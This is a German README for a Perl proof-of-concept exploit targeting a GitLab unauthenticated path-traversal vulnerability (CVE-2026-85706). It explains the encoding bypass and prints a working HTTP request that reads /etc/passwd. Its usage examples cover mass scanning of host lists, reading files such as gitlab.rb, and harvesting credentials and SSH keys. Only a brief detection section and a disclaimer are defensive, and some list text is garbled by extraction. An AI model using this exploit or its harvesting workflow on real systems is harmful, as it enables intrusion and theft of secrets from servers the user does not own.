
Perl-PoC, das CVE-2026-85706 ausnutzt, einen unauthentifizierten GitLab-Path-Traversal, der beliebiges Dateilesen ermöglicht, mit Massenscanning und Credential-Harvesting.
Nur für autorisierte Penetrationstests und Red-Team-Operationen.
Unbefugte Nutzung stellt eine Straftat dar. Siehe Rechtlicher Hinweis.
CVE-2026-85706 ist eine Path-Traversal-Schwachstelle mit CVSS 10.0 in GitLab Community und Enterprise Editions, die es einem vollständig nicht authentifizierten Angreifer ermöglicht, beliebige Dateien aus dem Server-Dateisystem mit einer einzigen HTTP-Anfrage zu lesen. Keine Anmeldedaten, kein Token, keine Benutzerinteraktion erforderlich.
| Branch | Anfälliger Bereich | Behoben in |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
GitLabs HTTP-Stack besteht aus drei Schichten:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse fungiert als intelligenter Reverse-Proxy: Für bestimmte „Upload"-Endpunkte (Repository-Commits, Dateioperationen) liest es Multipart-Request-Bodies, speichert Dateidaten auf der Festplatte und schreibt die Anfrage um, bevor sie an Puma weitergeleitet wird. Entscheidend ist, dass es jedem weitergeleiteten Request einen JWT-Header (Gitlab-Workhorse-Api-Request) anhängt. Rails validiert dann dieses JWT (über require_gitlab_workhorse!), bevor eine Handler-Logik ausgeführt wird.
Schicht 1 — Workhorse-Routenabgleich:
Workhorse gleicht Anfragepfade mithilfe eines kompilierten Regex ab, der auf dem rohen, prozentkodierten Byte-String arbeitet. Es dekodiert %XX-Sequenzen NICHT vor dem Abgleich.
Schicht 2 — Puma/Rack-Routing:
Puma dekodiert %XX-Sequenzen bevor Grape die Anfrage routet. Eine Anfrage an /repository/%63ommits wird also zu /repository/commits dekodiert und an CommitsController geroutet.
Schicht 3 — Dateilesen vor Authentifizierung:
Sobald der Rails-Handler erreicht ist (der ohne Workhorses JWT erreicht wird, da Workhorse die Anfrage nie abgeglichen hat), liest der Handler params[:file][:path] aus dem Query-String und ruft auf:
File.open(params[:file][:path]) # ← geschieht VOR der Authentifizierung
Durch Prozentkodierung eines Zeichens in einem statischen Pfadsegment schlüpft die Anfrage des Angreifers unbemerkt an Workhorse vorbei:
| Segment | Original | Bypass-Form | Kodiertes Zeichen |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (beliebig) | commits | commits/ | abschließender Schrägstrich |
| (beliebig) | commits | commits.json | Grape-Suffix |
Nachdem die Datei geöffnet wurde, wird der Inhalt über Racks Query-String-Parser exfiltriert:
Rack::Utils.parse_nested_query(File.read(path))
Wenn die Datei ein % enthält, dem nicht zwei gültige Hexadezimalziffern folgen (was in Ruby-Konfigurationsdateien, CI-YAML, Logs usw. häufig vorkommt), wirft Rack:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
Dieser 400-Antwort-Body enthält den rohen Dateiinhalt bis einschließlich des fehlerhaften Bytes — und offenbart dem nicht authentifizierten Aufrufer den Inhalt der Datei.
Dateien ohne ausnutzbare %-Sequenzen (z. B. saubere /etc/passwd) geben nach dem Lesen einen 401- oder Parameter-Validierungsfehler zurück: Dies fungiert als Dateiexistenz-Orakel (das Lesen fand dennoch vor der Authentifizierung statt).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| Modul | Paket | Rolle |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP-Client (erforderlich) |
LWP::Protocol::https | libwww-perl | HTTPS-Unterstützung (erforderlich) |
URI::Escape | liburi-perl | Query-String-Kodierung (erforderlich) |
Term::ANSIColor | libterm-ansicolor-perl | Farbige Ausgabe (optional) |
JSON | libjson-perl | JSON-Ausgabemodus (optional) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Ausführbar machen
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| Schnell (Standard) | Voll (--full) | |
|---|---|---|
| Anfragen | ≤9 (1 Preflight + ≤4×2) | 27+ |
| Vorzeitiger Abbruch | Ja — stoppt beim ersten bestätigten Unterschied | Nein — prüft alle 22 Formen |
| Versionsinformationen | Nein | Ja |
| Bypass-Formen | 4 repräsentative Files API | Alle 22 (Commits + Files API) |
| Am besten für | Schnelle Aufklärung, große Host-Listen | Pentest-Berichte, --file/--scan-Vorbereitung |
Schnellprüfungs-Pipeline:
GET /api/v4/version — Erreichbarkeit + GitLab-Hinweis/etc/hostname + eindeutigen Canarycanary → 'local file not present' ∧ hostname ≠ canary → ANFÄLLIG (sofort beenden)Vollprüfungs-Pipeline (--full):
--project-id und PrüfmodiDas --project-id-Flag ist in jedem Modus verwendbar, einschließlich --check und --check-host-list. Die Interaktion verstehen:
| Bypass-Gruppe | Formen | Projekt-ID-Abhängigkeit |
|---|---|---|
Files API (%66iles, %46iles, re%70ository/files, …) | 14 | Keine — Dateilesen geht der Projektprüfung durch das Design der CVE voraus. Jede ID (auch nicht existierende) erzeugt das korrekte Signal. |
Commits API (%63ommits, %43ommits, repository/commits/, …) | 8 | Erforderlich — Projekt muss existieren und anonym lesbar sein. Gibt project-gate zurück, falls nicht. |
Praktische Hinweise:
--check (schnell): verwendet nur Files API-Formen → Projekt-ID irrelevant.--check --full: testet alle 22 Formen. Wenn Sie eine öffentliche Projekt-ID kennen, übergeben Sie --project-id <N>, um auch Commits API-Formen zu bestätigen.--check-host-list: Eine einzelne --project-id lässt sich selten auf ein öffentliches Projekt über alle Hosts abbilden. Lassen Sie sie weg.# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt
# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full
# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json
# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
| Urteil | Bedeutung |
|---|---|
leak | Dateiinhalt im Antwort-Body über Rack-Parse-Fehler wiedergegeben |
leak-fragment | Teilweise Inhaltswiedergabe über Parameter-Namen-Fragment |
read-noecho | HTTP 401 auf Bypass-Pfad — mehrdeutig: Entweder fand das Dateilesen vor der Authentifizierung statt (anfällig, sauberer Inhalt ohne fehlerhafte %-Sequenz), oder die Authentifizierung greift vor dem Lesen (gepatchter Server). Verwenden Sie --check, um dies über Differenzial zu bestätigen |
missing | Bypass-Pfad funktionierte; Handler erreicht; Datei nicht vorhanden oder nicht lesbar |
rewrite | Workhorse hat diese Pfadform abgefangen — Bypass fehlgeschlagen |
project-gate | Commits API hat das Projekt abgelehnt; versuchen Sie Files API-Formen |
noroute | Rails hat diese Pfadvariante nicht geroutet |
| Funktion | Python-PoC | Dieser Perl-PoC |
|---|---|---|
| Bypass-Pfadvarianten | 6 | 15 |
| Massen-Dateiscanning (T1083) | ✗ | ✓ Integrierte 38-Pfad-Wortliste |
| Credential-Harvesting (T1552.001) | ✗ | ✓ 22 Credential-Muster |
| JSON-Ausgabe | ✗ | ✓ --json |
| Dateiausgabe / Tee | ✗ | ✓ --output |
| Dateiexistenz-Orakel-Nachrichten | Einfach | Explizit, farbkodiert |
| Wiederholungslogik | ✗ | ✓ Konfigurierbare --retries |
| Verzögerung pro Anfrage | ✗ | ✓ --delay (Float-Sekunden) |
| Benutzerdefinierter User-Agent | ✗ | ✓ --user-agent |
| Namespace/Projekt-IDs | ✗ | ✓ Automatische Kodierung / → %2F |
| Ausführlicher Modus | ✗ | ✓ --verbose |
secret_key_base und otp_key_base in gitlab.rb/home/git/.ssh/, /root/.ssh/)Suchen Sie nach POST- oder PUT-Anfragen an /api/v4/projects/*/repository/-Pfade, die Folgendes enthalten:
%63, %43, %72, %70, %66, %46 usw.)file.path-Query-Parameter.json-Format-Suffix an commits- oder files-EndpunktenDieses Tool wird ausschließlich bereitgestellt für:
Unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben, ist in praktisch jeder Gerichtsbarkeit illegal und kann zu strafrechtlicher Verfolgung nach Computer-Missbrauchsgesetzen (CFAA, Computer Misuse Act usw.) führen.
Der Autor und die Mitwirkenden dieses Tools übernehmen keine Haftung für jeglichen Missbrauch oder Schaden, der durch diese Software verursacht wird.